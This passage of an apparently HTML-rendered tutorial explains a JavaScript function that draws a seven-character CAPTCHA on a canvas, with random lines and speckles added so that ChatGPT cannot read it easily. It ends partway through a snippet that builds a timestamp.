</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">generateCaptcha</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">sent</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">captchaCanvas</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;captchaCanvas&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ctx</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">getContext</span>(<span style="color:#e6db74">&#34;2d&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">captchaText</span>.<span style="color:#a6e22e">value</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">font</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;25px Roboto&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">letterSpacing</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;20px&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">clearRect</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">cText</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">charAt</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">cText</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">sDeg</span> <span style="color:#f92672">=</span> (Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span> <span style="color:#f92672">*</span> Math.<span style="color:#a6e22e">PI</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">180</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span> <span style="color:#f92672">+</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">8</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillText</span>(<span style="color:#a6e22e">cText</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">x</span>, <span style="color:#f92672">-</span><span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">6</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>,
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>			);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>,
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>			);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">50</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(<span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">y</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Here, I am creating a Canvas element (which is already described in HTML).</p>
<ul>
<li><code>getContext()</code> method returns a drawing context on the canvas.</li>
<li><code>clearRect()</code> method of the Canvas 2D API erases the pixels in a rectangular area by setting them to transparent black.</li>
<li><code>beginPath()</code> method of the Canvas 2D API starts a new path by emptying the list of sub-paths. Call this method when you want to create a new path.</li>
</ul>
<p>Within the canvas, I am using 3 for loops.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">cText</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">charAt</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">cText</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">sDeg</span> <span style="color:#f92672">=</span> (Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span> <span style="color:#f92672">*</span> Math.<span style="color:#a6e22e">PI</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">180</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span> <span style="color:#f92672">+</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">8</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillText</span>(<span style="color:#a6e22e">cText</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">x</span>, <span style="color:#f92672">-</span><span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This For loop is used to create 7 alphanumeric string from <code>alphaNums</code>. These characters are placed in random height and random orientation. Last 2 lines are for resetting height and orientation after each character.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">6</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(
</span></span><span style="display:flex;"><span>		Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>,
</span></span><span style="display:flex;"><span>		Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(
</span></span><span style="display:flex;"><span>		Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>,
</span></span><span style="display:flex;"><span>		Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Next for loop is to create 6 random lines in the canvas, just to make sure ChatGPT can&rsquo;t see these characters clearly.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">50</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(<span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">y</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This for loop is used to create speckles thereby attempting to increase complexity further.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">97
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">today</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Date();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">dateTime</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getDate</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;-&#39;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getMonth</span>() <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;-&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getFullYear</span>()) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39; &#39;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getHours</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getMinutes</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getSeconds</span>());
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">captchaText</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
